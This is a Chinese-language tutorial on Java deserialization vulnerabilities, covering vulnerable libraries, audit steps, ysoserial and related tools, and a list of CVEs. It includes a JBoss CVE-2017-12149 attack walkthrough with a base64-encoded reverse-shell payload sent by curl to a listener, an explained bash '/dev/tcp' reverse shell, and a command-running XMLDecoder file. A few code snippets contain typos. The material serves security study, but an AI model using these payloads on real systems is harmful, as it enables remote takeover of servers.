1. JAVA反序列化概述
Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存或文件中,实现跨平台通讯和持久化存储。ObjectOutputStream类的 writeObject() 方法可以实现序列化。反序列化则指把字节序列恢复为 Java 对象的过程,相应的,ObjectInputStream 类的 readObject() 方法用于反序列化。
1.1 反序列化代码
package test;
import java.io.*;
public class Serialize {
public static void main(String args[])throws Exception{
//定义obj对象
// String obj="hello world!";
MyObject myObject=new MyObject();
myObject.name="hello world!";
//创建一个包含对象进行反序列化信息的”object”数据文件
FileOutputStream fos=new FileOutputStream("object");
ObjectOutputStream os=new ObjectOutputStream(fos);
//writeObject()方法将obj对象写入object文件
os.writeObject(myObject);
os.close();
//从文件中反序列化obj对象
FileInputStream fis=new FileInputStream("object");
ObjectInputStream ois=new ObjectInputStream(fis);
//恢复对象
MyObject obj2=(MyObject)ois.readObject();
System.out.print(obj2);
ois.close();
}
}
class MyObject implements Serializable {//只有实现了Serializable接口的类的对象才可以被序列化
public String name;
//重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
//执行默认的readObject()方法
in.defaultReadObject();
//执行打开计算器程序命令
Runtime.getRuntime().exec("cmd.exe /c start dir");
}
}
从demo中可以看出,java类对象要实现反序列化,该类必须实现 java.io.Serializable接口,并且一般会调用readObect方法,该方法的实现容易引发漏洞。除了readObect,有时也会用到readUnshared方法,与readObect不同的是,此方法不允许后续的readObect/readUnshared调用此次反序列化得到的对象。
上述demo只是一个样例,实战中真正出现漏洞的情况一般有以下几种:
(1)重写ObjectInputStream对象的resolveClass方法中的检测可被绕过。
(2)使用第三方的类进行黑名单控制。容易存在漏网之鱼,如果后期添加了新的功能,还可能引入了新的漏洞利用方式。
(3)使用了不安全的基础库。
commons-fileupload 1.3.1
commons-io 2.4
commons-collections 3.1
commons-logging 1.2
commons-beanutils 1.9.2
org.slf4j:slf4j-api 1.7.21
com.mchange:mchange-commons-java 0.2.11
org.apache.commons:commons-collections 4.0
com.mchange:c3p0 0.9.5.2
org.beanshell:bsh 2.0b5
org.codehaus.groovy:groovy 2.3.9
org.springframework:spring-aop 4.1.4.RELEASE
1.2 POP Gadgets
POP,Property-Oriented Programming,即面向属性编程,常用于上层语言构造特定调用链的方法。Gadgets意味小工具,所以POP Gadgets可以理解为面向属性编程的利用工具或利用链。
1.3 反序列化漏洞检测流程
(1)反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储或DB存储等业务场景。因此审计过程中重点关注这些功能板块。
(2)找到对应的功能模块后,检索源码中对反序列化函数的调用来静态寻找反序列化的输入点,如以下函数
ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject
(3)确定了反序列化输入点后,查看应用的Class Path中是否包含Apache Commons Collections等危险库(ysoserial所支持的其他库亦可),若不包含危险库,则查看一些涉及命令、代码执行的代码区域,防止程序员代码不严谨,导致bug。若包含危险库,则使用ysoserial进行攻击。
2. JAVA对象格式与序列化
2.1 json
JSON是一种轻量级的数据交换格式,基于“键/值”对,结构可以进行嵌套。主流JSON库包含GSON、Jackson、Fastjson。
2.1.1 GSON
而GSON是Google公司发布的开源JAVA库,主要用于序列化JAVA对象为JSON字符串,或反序列化JSON字符串成JAVA对象。Gson提供了toJson与fromJson两个转换函数,实现JSON字符串和Java对象的转换。
Student stu=new Student(0;
Gson gson=new Gson();
//Object->json
String json=gson.toJson(stu);
//json->Object
Student stu2=gson.formJson(json,Student.class);
GSON会用到默认构造函数,如果没有默认构造函数会调用sun.misc.Unsafe生成一个实例,默认反序列化的类型包含:String、URL、Date、Enum等,在TypeAdapter初始化,如果超出基本类型要自己实现反序列化机制。
2.1.2 fastjson
fastjson主要提供两个接口toJsonString和parseObject来实现序列化和反序列化,maven配置文件如下
//fastjson<1.2.24存在反序列化漏洞
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.23</version>
</dependency>
fastjson使用方法如下:(其中JSONObject可换为JSON)
fastjson采用无参默认构造方法或者注解绑定。Feature.SupportNonPublicField才能打开非公有属性的反序列化处理。@type可以指定反序列化的任意类,调用其set、get、is方法。
{“@type”:”com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl”,”name”:”a”…}
2.1.3 jackson
受影响版本:
Jackson Version 2.7.* < 2.7.10
Jackson Version 2.8.* < 2.8.9
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.10.0</version>
</dependency>
<!--注解部分-->
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.10.0</version>
</dependency>
ObjectMapper mapper=new ObjectMapper();
String jsonInput="{\"id\":0,\"firstName\":\"Robin\",\"lastName\":\"Wilson\"}";
Person per1=mapper.readValue(jsonInput,Person.class);
Person per2=new Person("Roger","Rabbit");
mapper.writeValue(System.out,per2);
Jackson采用无参默认构造方法,不会反序列化非Public属性,除非有相应的setter或者getter或者相应的注解@JsonAutoDetect。如果启动enableDefaultTyoing方法,允许存储具体数据类型以便多态类型实现反序列化。
2.1.4 JSON反序列化防范
GSON基本没有安全风险,Jackson不使用enableDefaultTyping方法,Fastjson不要启用autotype,若开启autotype选用黑名单策略,依旧有绕过风险。其他json库如json-io或Kryo也不是很安全。
2.2 XML
2.2.1 XStream
XStream使用toXML方法获取对象的XML表示,使用fromXML方法来反序列化XML得到JAVA对象。
XStream配置如下:
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.10</version>
</dependency>
XStream使用方法如下
2.2.2 XMLDecoder
package test;
import com.thoughtworks.xstream.XStream;
import org.example.domain.Student;
import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;
public class XML {
public static void XMLDecode_Deserialize(String path) throws Exception {
File file = new File(path);
FileInputStream fis = new FileInputStream(file);
BufferedInputStream bis = new BufferedInputStream(fis);
XMLDecoder xd = new XMLDecoder(bis);
Object content=xd.readObject();
System.out.println(content);
xd.close();
}
public static void main(String[] args) {
//XMLDecode Deserialize Test
String path = "src/main/resources/test.xml";
try {
XMLDecode_Deserialize(path);
} catch (Exception e) {
e.printStackTrace();
}
}
//test.xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start" />
</object>
</java>
3. JAVA反序列化工具
JAVA常见的反序列化工具包含Freddy/ysoserial/marshalsec等
3.1 ysoserial
ysoserial的github地址:https://github.com/frohoff/ysoserial,使用方法如下:
$ java -jar ysoserial.jar
Y SO SERIAL?
Usage: java -jar ysoserial.jar [payload] '[command]',
Available payload types:
Payload Authors Dependencies
------- ------- ------------
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler
Hibernate2 @mbechler
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
3.2 Freddy
https://github.com/bignerdranch/Freddy
3.3 marshalsec
https://github.com/mbechler/marshalsec,要注意的是,使用此工具,java版本需在8以上。
java -cp target / marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec。< Marshaller > [-a] [-v] [-t] [ < gadget_type > [ <参数... > ]]
3.4 其他工具
shell命令转换器
http://www.jackson-t.ca/runtime-exec-payloads.html
经典漏洞POC
https://github.com/joaomatosf/JavaDeserH2HC
JAVA反序列化终极测试工具:DeserializeExploit.jar
JMS利用
https://github.com/matthiaskaiser/jmet
3.5 工具使用demo—以JBoss 5.x/6.x (CVE-2017-12149)为例
漏洞点:
JavaDeserH2HC_payload:
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ubuntu_ip:listener_port
curl http://Jboss_ip:port/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
ysoserial_payload:
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjE0NC8yMzMgMD4mMQ==}|{base64,-d}|{bash,-i}" > poc.ser
curl http://Jboss_ip:port/invoker/readonly --data-binary @poc.ser
攻击者开启nc -lvvp port(端口),进行监听,接收反弹shell。端口简单操作命令如下
netstat -tln查看被占用的端口
lsof -i :21 查看端口所在进程
kill -9 3907 结束进程
kill %1 结束刚才开放的监听端口
4. 反弹shell
反弹shell命令如下:
bash -i >& /dev/tcp/ip/port 0>&1
其中文件描述符解释如下:
0 - stdin 代表标准输入,使用<或<<
1 - stdout 代表标准输出,使用>或>>
2 - stderr 代表标准错误输出,使用2>或2>>
而>&
的含义是,当>&
后面接文件时,表示将标准输出和标准错误输出重定向至文件。当>&
后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符。
所以上述shell命令的理解是:bash -i
代表在本地打开一个bash,然后就是/dev/tcp/ip/port
,/dev/tcp/
是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>&
后面跟上/dev/tcp/ip/port
这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出。
5. JAVA反序列化漏洞典型案例
(1)ActiveMQ(CVE-2015-5254)
(2)fastJson (CVE-2017-17485 ,fastjson <= 1.2.24,补丁绕过CVE-2017-17485)
(3)JBoss JMXInvokerServlet
(4)JBoss 4.x JBossMQ JMS (CVE-2017-7504)
(5)Jmeter RMI(CVE-2018-1297)
(6)Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)
(7)Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)
(8)Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)
其他:
weblogic:CVE-2015-4852、CVE-2016-0638
XMLDecoder:CVE-2017-3506、CVE-2017-10271(CVE-2017-3506的绕过)、CVE-2017-3248、CVE-2018-2628
参考资料
https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
https://paper.seebug.org/623/#11
Java_JSON反序列化之殇_看雪安全开发者峰会